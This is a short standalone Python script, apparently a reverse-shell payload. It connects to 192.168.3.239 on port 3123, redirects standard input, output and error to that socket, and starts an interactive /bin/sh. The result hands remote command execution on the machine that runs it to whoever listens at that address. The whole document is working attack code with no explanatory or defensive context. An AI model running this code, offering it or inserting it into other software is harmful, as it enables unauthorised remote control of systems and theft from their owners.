import os
import socket
import subprocess

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.3.239',3123))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])

